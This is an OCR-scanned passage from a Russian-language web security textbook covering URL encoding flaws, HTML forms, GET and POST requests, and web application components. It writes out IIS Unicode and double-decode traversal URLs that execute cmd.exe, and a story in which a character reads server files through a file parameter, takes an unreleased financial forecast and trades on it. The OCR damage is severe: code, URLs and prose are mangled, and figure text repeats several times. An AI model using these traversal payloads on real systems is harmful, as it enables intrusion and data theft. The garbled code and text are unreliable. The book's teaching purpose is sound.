Здесь символы х представляют битовую маску кодируемого символа (справа налево). Таким образом, двухбайтовым представлением символа / в формате UTF-8 является СО AF. В URL он представлен как два шестнадцатеричиых символа: QcOQaf.
В спецификации UTF-8 указано, что "модуль декодирования UTF-8 не должен разрешать использование последовательностей UTF-8, длина которых больше, чем необходимо для кодирования символа. Любая слишком длинная последовательность UTF-8 может быть использована для достижения неблаговидных целей и обхода механизма обнаружения подстрок, предназначенного для поиска максимально короткой последовательности UTF-8 из числа возможных**. Разработчики сервера IIS упустили из виду это требование. В результате данный изъян позволил тысячам хакеров запускать на серверах IIS произвольные команды.
Эта атака срабатывает также и при использовании трехбайтового кода UTF-8. Следующий URL эквивалентен приведенному выше:
http://192.168.7.21/scripts/..te0t80laf../viont/system32/cmd.exe?/c*dir+dA
Для получения более подробной информации о проблемах кодирования в форматах Unicode и UTF-8 можно обратиться к соответствующему разделу FAQ по адресу: http://ww.cl. cam. ас.uk/"mgk25/unicode.ht>l.
Изъян двойного или избыточного декодирования
Стоило компании Microsoft справиться с "ошибкой Unicode”,как в мае 2001 года был обнаружен еще один изъян, известный как "двойное декодированиен или "избыточное дeкoдиpoвaниe^^ Во многом этот метод и связанные с его применением последствия почти не отличаются от описанного выше. Для того чтобы воспользоваться этим недостатком, на сервер можно передать следующий URL:
http://192.168.7»21Zscripts/..125t32%66../winnt/sy8ten32/cad.exe?/c4dir*d!\
На рис. 5.3 показаны выходные данные, сгенерированные сервером IIS.
Рис. 5.3. Метод двойного декодирования для выполнения команд
В приведенном URL символ / заменен строкой Q25Q32Q66. Если указанный URL декодируется один раз, будет получен следующий результат:
http://192.168.7.21/scripts/..l2f.*/vlnnt/systeB32/cmd.exe?/c+dir+dA
Q25 = Г" 132 = "2" 866 = Т”
Если декодирование выполнить еще раз, будет получена следующая строка URL: http://192.168.7.21/scripts/../../vinnt/systML32/ciDd.exe?/c4*dir*d:\
Строка 125132166 является далеко не единственной, с помощью которой можно воспользоваться этим изъяном. Приведенные ниже строки позволяют достигнуть аналогичного результата.
Закодированная комбинация Шестнадцатеричное представление Символ ASCII
*25835*6315с\
I25l35f*2f/
8252f$2f/
S252F82F/
S25Ct5C\
Существует и много других перестановок и комбинаций кодов. Поэтому отсутствие или некорректное выполнение проверки входных данных является чрезвычайно серьезной проблемой.
Подводя итоги, следует отметить, что ошибки в реализации механизма декодирования URL представляют собой огромную угрозу для безопасности. То, о чем говорилось выше, — это всего лишь два из наиболее показательных примеров возможных изъянов. Жертвой использования непредусмотренных комбинаций кодов символов в URL могут оказаться и многие другие Web-серверы. Чтобы избежать появления подобных изъянов при реализации Web-серверов, необходимо строго следовать спецификации HTTP консорциума W3C (http://www.w3c. org/Protocols/).
Формы HTML
Практически во всех интерактивных Web -приложениях используются формы HTML. Можно с уверенностью сказать, что при использовании Internet с формами HTML приходится сталкиваться практически в каждом сеансе работы: при использовании механизма поиска, проверке электронной почты с использованием средств Web, проверке состояния кредитной карточки, отправке поздравительного электронного сообщения и в процессе выполнения многих других задач. Форма HTML — это интерфейс, который используется в приложении для взаимодействия с пользователем через Web-броузер.
С формами HTML связано два ключевых аспекта: выполнение управленческих функций броузером и обработка данных на сервере. При этом можно выделить несколько основных задач, выполняемых броузером. Первая — корректное отображение на экране элементов HTML-формы, а вторая — обеспечение для пользователя возможности ввода данных с применением этих элементов. После ввода данных пользователь может отправить заполненную форму на сервер. При этом броузер должен обеспечить, чтобы данные были корректно закодированы в URL, а затем передать информацию соответствующему приложению.
После того как входные данные получены прикладной программой, они должны быть разделены на отдельные параметры, а затем обработаны. При использовании более ранней спецификации CGI разработчик приложения должен самостоятельно оп-
рсделять логику синтаксического анализа закодированных в URL данных и извлечения имен и значений входных параметров. В состав современных Web-серверов входят встроенные процедуры автоматической обработки данных HTML-форм, что существенно упрощает задачу разработчиков Web-приложений.
Однако, что касается обеспечения безопасности, то при разработке Web- приложений необходимо осторожно относиться ко входным данным, передаваемым броузером. В конце главы приведен ряд практических советов, которыми следует руководствоваться при обработке данных HTML-форм. А сейчас рассмотрим несколько примеров того, как работают (или не работают) HTML-формы с точки зрения обеспечения безопасности.
Анатомия формы HTML
Любую форму HTML можно идентифицировать по дескрипторам <?ORM>...</FORM> (как отмечалось в главе 1). Все дескрипторы HTML, вложенные в дескрипторы <FORM>, рассматриваются как часть этой формы. Среди других дескрипторов HTML дескрипторы <INPUT> используются для представления входных полей формы. Они позволяют вводить данные в форму, которая отображается в броузере. На рис. 5.4 показаны эле-
менты H1ML, которые составляют форму H1ML.<FORM XETHODemethod ACTION=http://server/acript><INPUT NAME^input1 TYPE=typel...>~ ~• •/UMW/bin/pOfl#Сие^31>ИЙ CGI ДЛЯменты H1ML, которые составляют форму H1ML.<FORM XETHODemethod ACTION=http://server/acript><INPUT NAME^input1 TYPE=typel...>~ ~• •/UMW/bin/pOfl#Сие^31>ИЙ CGI ДЛЯ<INPUT1■<INPUT NAME 二</FORM>Необходимо помнить формами.\required "cgi-lib.pl";\ \&ReadParse(*in);SUBMIT\\print&PrintHeader,....\\torMchSlk*ys(%in)уу\\ \&РГОСвМ( $1л) 1 1\\ \llllllllllllll\d__bwww.acme-art.com\ lech 自All your transactions are secure\ via SSyour registration usernameК andto login.Форма, отображаемая в пользовательском броузереРис. 5.4. Элементы формы HTMLо некоторых ключевых концепциях, связанных с HTML-<INPUT1■<INPUT NAME 二</FORM>Необходимо помнить формами.\required "cgi-lib.pl";\ \&ReadParse(*in);SUBMIT\\print&PrintHeader,....\\torMchSlk*ys(%in)уу\\ \&РГОСвМ( $1л) 1 1\\ \llllllllllllll\d__bwww.acme-art.com\ lech 自All your transactions are secure\ via SSyour registration usernameК andto login.Форма, отображаемая в пользовательском броузереРис. 5.4. Элементы формы HTMLо некоторых ключевых концепциях, связанных с HTML-
менты H1ML, которые составляют форму H1ML.
<FORM XETHODemethod ACTION=http://server/acript>
<INPUT NAME^input1 TYPE=typel...>~ ~
• •/UMW/bin/pOfl
#Сие^31>ИЙ CGI ДЛЯ
менты H1ML, которые составляют форму H1ML.
<FORM XETHODemethod ACTION=http://server/acript>
<INPUT NAME^input1 TYPE=typel...>~ ~
• •/UMW/bin/pOfl
#Сие^31>ИЙ CGI ДЛЯ
<INPUT1■
<INPUT NAME 二
</FORM>
Необходимо помнить формами.
\required "cgi-lib.pl";
\ \&ReadParse(*in);
SUBMIT\\print&PrintHeader,
....\\torMchSlk*ys(%in)уу
\\ \&РГОСвМ( $1л) 1 1
\\ \llllllllllllll
\d__b
www.acme-art.com
\ lech 自All your transactions are secure
\ via SSyour registration username
К andto login.
Форма, отображаемая в пользовательском броузере
Рис. 5.4. Элементы формы HTML
о некоторых ключевых концепциях, связанных с HTML-
<INPUT1■
<INPUT NAME 二
</FORM>
Необходимо помнить формами.
\required "cgi-lib.pl";
\ \&ReadParse(*in);
SUBMIT\\print&PrintHeader,
....\\torMchSlk*ys(%in)уу
\\ \&РГОСвМ( $1л) 1 1
\\ \llllllllllllll
\d__b
www.acme-art.com
\ lech 自All your transactions are secure
\ via SSyour registration username
К andto login.
Форма, отображаемая в пользовательском броузере
Рис. 5.4. Элементы формы HTML
о некоторых ключевых концепциях, связанных с HTML-
Метод (method). Для каждой формы должен быть задан один метод передачи данных — либо GET, либо POST. Этот метод определяет, какой метод HTTP будет использоваться броузером при отправке данных формы на сервер.
Действие (action). С каждой формой должно ассоциироваться приложение- обработчик, размещенное на сервере. Приложение должно быть спроектировано таким образом, чтобы обеспечивалась возможность получения данных от различных входных элементов этой формы.
Входные поля (input element). Каждый входной элемент должен иметь имя, которое используется в серверном приложении для синтаксического анализа параметров и их значений.
Кнопка передачи данных. На каждой форме должна содержаться кнопка передачи данных — специальный тип управляющего элемента, который отображается броузером в виде кнопки, на которой можно щелкать мышью. После щелчка на этой кнопке броузер соберет и закодирует данные, введенные в различные поля формы, а затем отправит их серверному приложению.
В качестве примера рассмотрим небольшую форму регистрации на главной странице узла www.acme-art.com. Ниже приведен исходный код этой формы вместе с элементами формы, выделенными жирным шрифтом.
«огв Bethod=POST actioo^/c^i-bin/login.cgi*»
<table border-0>
<tr>
<td>UsernaBe:</td> <td><input паве*ивег type=text vidthB20></td>
</tr>
<tr>
<td>Password:</td> <td><input name=pass typespaasword width=20></td>
</tr>
</table>
〈input type9Bub*it value="login">
</foe>
Различные элементы этой формы регистрации узла acre-art.com представлены ниже.
Элемент
Тип
Значение
Метод
POST
Действие
https//www.асве-art.сов/cgi-bin/login.cgi
Поле
text
—
Поле
password
—
Кнопка передачи данных
login
Элементы ввода данных
В предыдущем примере использовались три типа элементов формы: TEXT, PASSWORD и SUBMIT. Полное описание различных типов полей HTML-форм приводится в спецификации HTML 4.0 (http://www.v3c.org/) В табл. 5.4 приведены некоторые наиболее часто используемые элементы и их назначение.
Таблица 5.4. Входные элементы HTML-формы
Тип элемента
Дескриптор
Описание
TEXT
UNPUT ТУРЕ二TEXT〉
Поле формы, используемое по умолчанию. В это поле текст ASCII можно вводить в виде одной строки
Тип элемента
Дескриптор
Описание
PASSWORD
<INPUT TYPE=PASSWORD>
Используется для ввода конфиденциальных данных. При отображении в броузере содержимое этого поля представляется с помощью символов т, а не реально вводимых символов. Следует отметить, что это единственная защитная мера. В остальном поле PASSWORD ничем не отличается от поля TEXT
TEXTAREA
<TEXTAREA>.・,.<TBXTAREA>
Используется для ввода символов ASCII в несколько строк
CHECKBOX
<INPUT TYPE«CHECKBOX>
Отображает в окне броузера флажок. Он может быть установлен или сброшен и используется для передачи логических (булевых) данных
RADIO
〈INPUT TYPE=RADIO>
Применяется для отображения переключателя. В группе таких переключателей одновременно может быть выбран только один элемент. Это поле используется для выбора из нескольких возможных значений
SELECT/OPTI
ON
<SELECT>
<OPTION>
</OPTION>
<OPTION>
</OPTION>
</SELBCT>
Служит для отображения прокручиваемого списка и позволяет выбрать один или несколько элементов из этого списка. В каждом наборе дескрипторов〈SELECT〉</SELECT> может содержаться один или несколько дескрипторов <OPTION>, каждый из которых соответствует одному элементу внутри списка
HIDDEN
<INPUT TYPE=HIDDEN>
Поле такого типа не отображается в броузере. Однако скрытое поле можно использовать для передачи предварительно заданной информации или конфигурационных параметров приложению, содержащемуся на сервере. Скрытые поля невидимы только со стороны броузера. Их можно легко увидеть, внимательно просмотрев исходный код HTML- страницы. Подробнее этот вопрос обсуждается в главе 6
SUBMIT
<INPUT TYPE=SUBMIT>
Позволяет задать на форме кнопку передачи данных. При щелчке на ней броузер должен собрать данные, введенные в поля формы, и передать их серверному приложению, указанному в атрибуте ACTION дескриптора FORM
Передача параметров с помощью методов GET и POST
В завершение обсуждения HTML-форм рассмотрим передачу параметров серверным приложениям с использованием методов GET и POST. Для более наглядного представления этой процедуры рассмотрим пример. Предположим, что на сервере 192.168.7.102 есть страница HTML, описанная в файле form_elements.html. В состав этой страницы входит две HTML-формы. В каждой форме содержится один и тот же набор полей. Единственное различие между ними заключается: в том, что в одной форме для передачи данных используется метод GET, а во второй — POST. Обе формы определены с помощью следующего кода HTML:
<FORM METBOD=#GET# ACTI0H»#/c9i-bin/print-query.cqi<,><P>
TEXT:<BR> <INPOT TYPE=TEXT NAME=l_text_ele« SIZE=20XP>
PASSWORD:<BR> <IKPUT TYPE=PASSWORD"NAME>2__password elffi SIZE=20XP>
TEXTAREA:<BR> <TEXTAMA P0WS=5 COLSs20 NAME=3 tMtAZM «laaX/TEXTAREAXP» hidden FIELD :<BR> <INPUT TYPE>HIDDDI 1Wffi・4_hiddenjlei! VALD^CMt see mw> Yup, it's hidden.<P>
SUBMIT: <br>〈INPUT type=submit VALUK-*GBT Method*»
</FORM>
<FORM METHOD«#POST* ACTIOM«#/cgi-bin/print-query.cgi#>
TEXT:<BR> <INPUT TYPE=TEXT KAME* I text el Bin SIZE=20XP>
PASSWORD:<BR> < INPOT TYPE=PASSWORD NA№:«2 jMiSSVOrd^eleB SIZE=20XP>
TEXTAREA:<BR> <TEXTAREA POWS-5 8LS-20 MAHE«3 textATM elOI></TEXTAREA><P>
HIDDEN riELD:<BR>〈INPUT TYMMIDODI №(8“工(1(3«0_6蟲 VALUE»*Cant see ве・》
Yup, it*s hidden.<P>
SUBMIT: <BR> <INPUT TYPE«SUBMIT VALUE--POST Methodw> </PORM>
В обеих формах данные передаются программе print-query.cgi. Полный URL- адрес этой программы— http://192.168.7.102/cgi-bin/print-query.cgi. Файл printquery. cgi представляет собой простую программу, которая выводит все входные параметры и их значения в виде таблицы. Кроме того, этот сценарий отображает НТТР- метод, который был использован для передачи данных на сервер. Вот исходный код, с одержащийся в файле print-query, cgi:
<!/usr/bin/perl
require *cgi-lib.pl*;
6ReadParse(*input);
print "Content-type: text/htnl\n\n";
print *<Hl>Input received:</Hl>#;
print "Form method: $£NV{#REQUEST_MKTHOD'}\n*; print *<table border®l>\n*;
foreach $рагал (sort(keys(linputl)| {
print w<tr><td>$paraB</td><tdxpre>$inpttt{$par®B}</pre></td><tr>\nw;
}
print "</table>\n";
Программа print-query.cgi написана на языке Perl. Функция ReadParse() определена в библиотеке Perl cgi-lib.pl, в которой содержатся стандартные процедуры обработки, подцерживающие интерфейс CGL Все параметры, передаваемые сценарию print-query ・eg :, хранятся в ассоциативном массиве input. В цикле foreach. итеративно перебираются и выводятся на печать все пары нимя параметра/значение** этого ассоциативного массива. При запуске сценария print-query.cgi Web-сервером устанавливается переменная окружения REQUEST_METHOD. В качестве значения этой переменной может использоваться либо GET, либо POST.
Посмотрим, что произойдет, если некоторые данные ввести в каждую из форм страницы form elements.html, а затем передать их сначала с помощью метода GET, а затем POST. На рис. 5.5 показано, какие данные вводятся в эти формы.
Итак, что же произойдет, если данные формы передать с помощью запроса GET? На рис. 5.6 показаны результаты, которые сервер вернул обратно в броузер.
Посмотрим на адресную строку в окне броузера, показанном на рис. 5.6. Несмотря на то что отображается только часть URL, видно, что все введенные данные после кодирования были отправлены на Web-сервер в строке запроса URL. Передаваемый на сервер URL имеет следующий вид:
http://192.168.7.102/cgi-bin/print-,
query.cgi?l text elea^Jack&S password е1еааЛ11кЗ textarea eleaKJack*AOd*Jilll0Dt0ABent* MOM OAGET*reques tb 4_h i dden_elem«Cant*see*iim
Рис. 5.5. Страница fora elements.htal с данными, введенными 6 форме
Рис. 5.6. Результаты, сгенерированные сценарием print- query.cgi после обработки запроса GET
Обратите внимание, что содержимое и поля ввода пароля Jill, и скрытого поля Cant see me отображается в строке URL как обычный текст. Символы возврата каретки и перевода строки в текстовом окне были закодированы как I0DI0A, что соответствует формату кодирования URL.
Передаваемый броузером HTTP-запрос имеет следующий вид:
GET/cgi-bin/print-
query.C9i?l_text_eleflFJacki2_pae8Word_elem«Jill43_textarea_el«i=J&ck*and+Jilll0D10Asent> al0DI0AGET^requestt4 Jiidden el«HCant*MMe HTTP/1.0
Referer: http://192.168.7.102/fonB_elenenta・ html
Connection: Keep-Alive
User-Agent: Nozilla/4.76 [en] (Windows NT 5.0; 0)
Host: 192.168.7.102
Accept: image/giff i»age/x-xbitmap, huge/jpeg^ inage/pjpeg, iugc/pnp, */*
Accept- Encoding: gzip
Accept-Unguage: en
Accept-Charset: iso-8859-1 ,*,utf-8
Что произойдет, если данные из формы передать с использованием запроса POST? На рис. 5.7 показаны результаты, полученные после обработки такого запроса сценарием pring-query.cgi.
Рис. 5.7. Результаты, полученные от сценария print- guery. cgi после обработки запроса POST
При передаче параметров с помощью метода POST строка запроса URL уже не используется. Вместо этого они передаются после HTTP -заголовка. При этом передаваемый броузером запрос HTTP имеет следующий вид:
POST /cgi-bin/print-query.cgi HTTP/1.0
Referer: http://192.16B.7.102/forne®lement3»htnl
Connection: Keep-Alive
Us er-Agent: Mozi】la/4.76 [en] (Windows NT 5.0; U) Host: 192.168.7.102
Accept: iMge/gif4 iBage/x-xbitiMpr inage/jpeg, iM^e/pjpeg, inage/pnp, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1 r*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: 123
1 text^eleB^ack&S^paesvord^elaD^ill&S^textarea^elMi^JackiaiklfJilllODlOXseQtfalODlOAPOS T>requestl4^hiciden"elenieCant ♦ see+me
Первое отличие обращения к ресурсу print-query.cgi по методу POST (вместо метода GET) заключается: в первой строке HTTP-заголовка. Второе состоит в том, что используется еще два дополнительных заголовка HTTP:
Content-type;
Content-length.
В заголовке Content-type указывается тип содержимого, передаваемого в запросе. Как правило, для форм HTML в заголовке Content-type используется значение /x-ww- form-urlencoded, т.е. входные данные кодируются с использованием стандартного формата кодирования URL. В заголовке Content-length содержится длина передаваемых данных в байтах.
Метод POST позволяет передавать серверному приложению данные большого объема, следовательно, ограниченная по длине строка запроса URL в этом случае уже не используется. Строка Content-length в заголовке HTTP является последней, после которой серверу передается пустая строка. Все, что передается за этой строкой, и представляет собой входные данные, закодированные в формате URL.
Как и в запросе GET, при использовании метода POST содержимое поля пароля и скрытого поля передается в виде незашифрованного текста. Разница заключается: лишь в том, что эти данные не передаются как часть строки URL.
Резюме
Адрес LIRL — это крошечная дверца для входа во внутренний механизм Web- сервера, которая позволяет свести на нет усилия всех брандмауэров, систем выявления вторжений (IDS) и proxy-серверов. Пользователи вынуждены пропускать через свои брандмауэры весь трафик, направленный к портам 80 (HTTP) и 443 (SSL). Возможно, нельзя предусмотреть все комбинации недопустимых URL и изобрести сигнатуру IDS или proxy-фильтр, которые позволят защититься от атак через эти порты. По существу, все технологии борьбы с кибертерроризмом в Web, могут оказаться бесполезными, когда дело касается Web-атак. Чтобы помочь распознать изъяны, в данной главе обсуждалась структура URL, механизмы передачи параметров между Web- броузером и сервером, система кодирования URL, потенциальные возможности ее некорректного использования и, наконец, формы HTML.
ЧАСТЬ II
Секреты URL
Случай из жизни: исследование подступов к корпоративным сокровищам
Однавды Джек задержался в офисе до поздней ночи. Он был экстраординарным разработчиком приложений для Web (а также знаменитым Web -хакер ом), часто скучал и любил изучать рынок. Он относился к тем людям, которые всегда хотят обращать на себя внимание. В эту ночь Джек немного загрустил и решил порыскать в Internet.
Недавно Джек приобрел несколько фильмов на интерактивном Web-узле Example, сою, на котором был представлен каталог более чем из 10 000 наименований фильмов и музыки, записанных на видеокассетах, а также музыкальных компакт -дисках и DVD. За день до этого Джек получил с упомянутого узла почтовое сообшение-спэм о появлении нового Web-узла, который был гораздо дружелюбнее своего предшественника. Но больше всего Джека заинтересовало сообщение торговой компании о том, что новый Web-узел невозможно взломать. Как только Джек вспомнил об этом, его руки сами потянулись к клавиатуре и пальцы забегали в неистовом танце. Джек решил найти опровержение утверждению, которое содержалось в почтовом сообщении.
Он начал с просмотра главной страницы Web-узла компании (http://vw.exaaple.сов). У страницы был броский дизайн, и она была перегружена роликами Macromedia Flash. Кроме того, на узле использовалась одна из технологий серверной обработки данных, с которой Джек не был знаком. Он решил проанализировать URL и попытаться более точно определить используемую технологию. Для доступа к основной странице использовался следующий URL:
http://www.example.con/load ・ cgi?fileamaln.dhtnl
Внимательно рассмотрев URL, Джек обратил внимание на ряд аспектов.
Как следует из имени файла load.cgi, разработчик Web-приложения воспользовался одной из технологий CGI, возможно, языком Perl.
http: //www. example, con/ load. cgi
Программист использовал динамический HTML (DHTML) с возможностями, предоставляемыми последней версией 4.0 языка HTML. Такой вывод следует из имени файла main.dhtml.
http://ww • exaaple .coa/load. cgi?£ilnE • dhtal
Поскольку программе CGI (load.cgi) параметры передаются в строке запроса URL, то можно сделать вывод о том, что для передачи содержимого используются запросы GET.
http://wv. exanple. сап/load ・ cgi ? f i 1 e-aain. dhtal
Если программист, написавший сценарий load.cgi, не позаботился о строгой проверке передаваемых значений полей, то кто-нибудь обязательно сможет просмотреть содержимое любого файла в файловой системе Web-сервера. Однако Джек этого не знал, пока не попробовал ввести следующий URL:
http ://ww. ешф!. .ссж/load. cgi ? file* load, cgi
В результате обработки этого URL на экране появился исходный код основной CG [-программы load.cgi. Теперь Джек мог просмотреть любой файл файловой системы. Однако, прежде чем приступить к поиску потенциальных целей исследуемого Web-узла, он решил обратиться к файлу robots.txt.
http: //wv. example.com/loAd. cgi?file二robots.txt
В этом файле содержится перечень каталогов и файлов, которые не должны отслеживаться при перемещении по Web-узлу. Этот файл позволяет снизить загруженность Web-сервера за счет исключения: определенных каталогов и файлов, задействованных при обработке запросов.
Джек заметил каталог /Forecast, заслуживающий определенного интереса. Сначала он попытался получить содержимое этого каталога, но неудачно.
http://wv. exaople. con/Forecast
Тогда Джек решил воспользоваться несколькими известными именами файлов, такими, как load.cgi и main.dhtnl, однако это тоже ни к чему не привело. Поэтому он решил получить образ всего Web-узла и посмотреть, ссылаются ли на этот каталог какие-либо файлы. Для этого прекрасно подошла утилита Teleport Pro. Просмотрев полученные данные, Джек нашел последовательность файлов, которые по счастливой случайности назывались Еха^)1е. con-Forecast-QxJT. pdf, где х представлял собой номер квартала (1, 2, 3 и 4), a YY —две последние цифры года (99, 00, 01 и 02).
http: //ww.exaaple. сое/Forecast/Exaaple. com-Forecaet-Ql 99 • pdf
http://www.example.com/Forecast/Example.com-Forecast-Q299.pdf
http ://ww, exanple • ccm/ Forecast/Exaaple. conHForecast-Q3 99. pdf http://wv.example ・ com/Forecast/Exaiiple. cos-Forecast-Q49 9 .pdf http://wv. example. coa/Forecast/Exaiiple. com-Forecast-Ql 00.pdf http: / / wv. exasple. coa/ Forecast / Exanpl e. com-Forecae t-Q2 0 0. pdf
Зная, что 28 марта 2002 года ——это текущая дата и скоро заканчивается первый квартал, Джек попробовал воспользоваться следующим URL:
http: 〃wwv .・XMpl・.con/Foreca st / ЕхшрХе. con-Forecaet-Q102 -pdf
Вуаля! На экране появилось окно, в котором предлагалось сохранить файл Example.coffi-Forecast-Q102Y.pdf. Все произошло так быстро!
Утилите Teleport Pro не удалось найти этот файл, однако Джек надеялся, что финансовый отдел разместит промежуточную версию отчета на Web-узле, чтобы инвесторы могли с ним познакомиться. Именно так и случилось. Человеческая предсказуемость —прекрасная вещь!
Имея в своем распоряжении файл, Джек приступил к поисбсу в нем конфиденциальных данных. Оказалось, что подобной информации более чем достаточно. В частности, доходы не соответствовали ожиданиям, которые были выражены в общем плане развития. Джек быстро понял, что нужно продать свои авдии до того, как финансовый отчет попадет кому-то на глаза, и заработать $1000. Поэтому он зарегистрировался на своем Web-узле и разместил на нем предложение о продаже. После этого Джек долго размышлял о своем успехе. Возможно, благодаря проделанным операциям в будущем у него возникнет не так много проблем...
ГЛАВА 6
Закулисами
Web-сервера
Лучше зажечь свечу, чем бранить темноту.
Китайская пословица
Введение
В этой главе описывается важный элемент "цифрового поля боя** — Web -приложения. Подробно рассматриваются фужциональные компоненты стандартных Web -приложений и их взаимодействие друг с другом. Понимание составляющих обработки информации в Web позволит организовать защиту, достойную восхищения.
В главе 5 были представлены основанные на анализе URL-адресов способы, с помощью которых можно выяснить, что происходит на Web-сервере. Теперь рассмотрим новые возможности и опишем различные технологии, применяемые на Web-серверах.
В этой главе рассматриваются следующие вопросы:
создание среды работы Web - приложений;
подключение компонентов;
технологии идентификации, основанные на URL;
анализ ошибок, вьщаваемых Web - приложениями и базами данных;
блокирование утечки информации.
Первая половина этой главы знакомит читателя со способами совместного использования различных технологий в рамках одного Web-приложения, а в оставшейся части речь пойдет о том, какие знания и догадки применяет взломщик при атаке на компоненты Web-системы.
Компоненты Web-приложений
Создание Web-систем напоминает попытбсу связать воедино домашний развлекательный комплекс — возможности здесь не ограничены. Такая система включает связанные между собой элементы, которые установлены с заданными параметрами. Необходимо лишь поместить все это в изящный ящик из красного дерева, включить питание, сесть на диван и нажать нужные кнопки на пульте дистанционного управления. Однако настоящий любитель музыки никогда не успокоится, пока не подберет каждый элемент в отдельности, подключит их все вместе, выберет точные настройки и добьется максимального эффекта. Кто же в данном случае будет более прав: этот любитель музыки или тот, кто выбрал систему "все в одном**? На самом деле понятия ,,правильный выбор** не существует, посколысу выбор зависит прежде всего от потребностей человека и его желаний. Для достижения оптимального уровня воспроизведения необходимо тщательно подобрать и настроить каждый элемент. Акустика, свет, окружающий шум, элегантность внешнего вида, возможность наилучшего воспроизведения записей для различных носителей — все эти факторы необходимо учитывать при создании домашнего развлекательного комплекса. Если человеку просто нужно слушать записи и его устраивает уровень воспроизведения немногим выше среднего, то ему подойдет система "все в одном*1. Преимущество состоит в том, что такая система продается как единое целое и отличается простотой эксплуатации.
Все то же самое можно применить и к Web -приложениям. Например, системы типа **точка~точкаи (end-to-end system) содержат компоненты, которые находятся и взаимодействуют друг с другом в едином блоке. Но, если требуется приложение с более высокой производительностью и пропускной способностью, наилучшим решением будет сочетание различных Web-технологий.
Обычно Web - приложение содержит три основных компонента.
Внешний Web-сервер (front-end Web server).
Среда выполнения Web - приложения (Web application execution environment).
Сервер баз данных (database server).
На рис. 6.1 показана схема функционир ования стандартного Web-приложения.
Не затрагивая пока работу Web-броузера и брандмауэра, рассмотрим функциональные особенности каждого компонента Web -приложения, помня о том, что они могут находиться как на одном и том же, так и на разных компьютерах.
Рис. 6.1. Схема функционирования стандартного Web-приложения
Внешний Web-сервер
Внешний Web-сервер главным образом отвечает за прием HTTP-запросов от клиентов и отправку им HTTP-ответов. Причем он должен обеспечить обслуживание большого числа параллельных запросов и в то же время эффективно использовать ресурсы и подцерживать высокую пропускную способность. Такие серверы достаточно универсальны. Они способны выполнять обработку статических HTML-файлов и некоторых динамических сценариев, но никоим образом не могут использоваться дая об служивания Web - приложений в целом.
Внешний Web-сервер должен обладать следующими функциональными возможностями.
Масштабируемость и устойчивость. Web-сервер должен допускать расширение возможностей без дополнительных затрат на настройку аппаратных средств и операционной системы. При увеличении нагрузки на сервер потери в производительности должны быть минимальны. Сервер должен легко восстанавливать - ся после сбоев, вызванных некорректной работой подкомпонентов или внешних подключенных к нему компонентов.
Устойчивость к общеизвестным атакам. Поскольку внешние Web-серверы являются компонентами, которые будут подвергаться атакам в первую очередь, их
необходимо защищать от таких общеизвестных изъянов, как переполнение буфера, вставка метасимволов и др.
Устойчивость к перегрузкам и возможность обработки большого числа параллельных соединений. Обычно внешние Web-серверы многопоточны и обеспечивают обработку трафика большого объема, как в смысле количества обработанных запросов в единицу времени, так и в смысле количества одновременных параллельных подключений. Поэтому необходимо тщательно настроить параметры используемой операционной системы для обеспечения максимальной производительности Web-сервера.
Разнообразие конфигурационных установок. Это свойство позволяет настраивать различные программные компоненты Web-сервера: диаграммы ресурсов, обработчики ошибок, интерфейсы внешних компонентов и др.
Возможность поддержки надстроек и функций API для подключения внешних компонентов и модулей. Возможность подцержки программных интерфейсов приложений и надстроек (plug-in) является важным свойством, посколысу позволяет увеличить производительность сервера путем подключения внешних модулей. Это также обеспечивает неразрывную связь среды вьшолнения команд Web - приложения с внешним Web-сервером. Например, Web-сервер Apache позволяет интегрировать с основным Web-сервером распределенные совместно используемые объекты DSO (Distributed Shared Object). Сервер Microsoft IIS содержит I SAP 1-интерфейс (интерфейс программирования приложений Internet- сервера), который позволяет разработчику подключать дополнительные модули, а сервер Netscape, в свою очередь, —N SAPI-интерфейс.
На данный момент, согласно исследованию, проведенному компанией Netcraft (www. netcraf t • сов), наиболее распространенными внешними Web - серверами являются следующие:
Apache;
Microsoft IIS;
Netscape/iPlanet server;
Zeus Web server.
Среда выполнения Web-приложения
Среда выполнения Web -приложения — это платформа для создания приложений, которые получают входные данные из HTML-форм или URL-адресов и динамически генерируют ответ в формате HTML. Обычно под средой вьшолнения Web-приложений подразумевается сервер Web -приложения. Среда выполнения Web -приложения (или серверный компонент Web -приложения) может просто представлять собой внешний Web-сервер или отдельную прикладную систему.
Посколысу современные операционные системы поставляются вместе со встроенными интерпретаторами или языками сценариев, Web-серверы также содержат компоненты сценариев. Такие языки, как Perl, Active Server Pages (A^sual Basic), PHP и т.п., обычно связаны с Web-серверами Apache, IIS либо Netscape.
При выборе полатформы разработки серверного компонента Web -приложения необходимо учитывать ряд факторов.
Удобство разработки. Выбор надлежащего языка программирования является наиболее важным в создании Web -приложений. Многие языки сценариев, такие, как Perl, были вытеснены более специализированными языками создания Web- приложений, такими, как PHP и ASP. В данный момент приобретают популяр-
нсють специализированные среды для разработки компонентов, в том числе J2EE и .Net компании Microsoft. Во многих случаях Web-приложения проектируются на основе существующих клиент-серверных приложений. Вместо создания заново целой программы разработчик предпочитает подключить интерфейсные оболочки к уже написанному коду и в результате получает Web-приложение. Наш выбор — объектно-ориентированные языки.
Интерфейсы внешнего Web-сервера. Серверная часть Web-приложения должна быть максимально совместима с внешним Web-сервером и обеспечивать различные способы подключения к нему. Наиболее распространенные коммерческие и некоммерческие компоненты поддерживают интеграцию с такими известными серверами, как 库ache, Microsoft IIS и Netscape.
Интерфейсы баз данных. Серверные компоненты должны быть совместимы с такими известными серверами баз данных, как Oracle, DB2, SQL Server и MySQL. Подключение к базе данных может реализовываться с помощью библиотек языка программирования или отдельных компонентов.
Сервер баз данных
Этот сервер используется в Web -приложениях для размещения баз данных и таблиц, необходимых для разрабатываемого приложения. Он является, возможно, наиболее важным компонентом для создания Web-систем. Взаимодействие сервера баз данных с приложением происходит с помощью собственных API-функций, драйверов базы данных или компонентов-посредников (компонентов среднего уровня), а обработка транзакций — посредством SQL.
Взаимодействие компонентов
Существует несколько способов взаимодействия компонентов Web-приложения друг с другом. На рис. 6.2 показаны четыре схемы взаимодействия серверного компонента Web-приложения с внешним сервером и сервером баз данных. Рассмотрим каждый из этих методов более подробно.
Собственная среда обработки приложений
Первый, и наиболее простой, способ состоит в написании приложения для среды обработки самого внешнего сервера. Такие Web-серверы, как Microsoft IIS, содержат встроенные средства обработки, например страниц Active Server Pages, которые позволяют разработчикам создавать Web-системы, используя язык Visual Basic.
Надстройки и API-функции Web-сервера
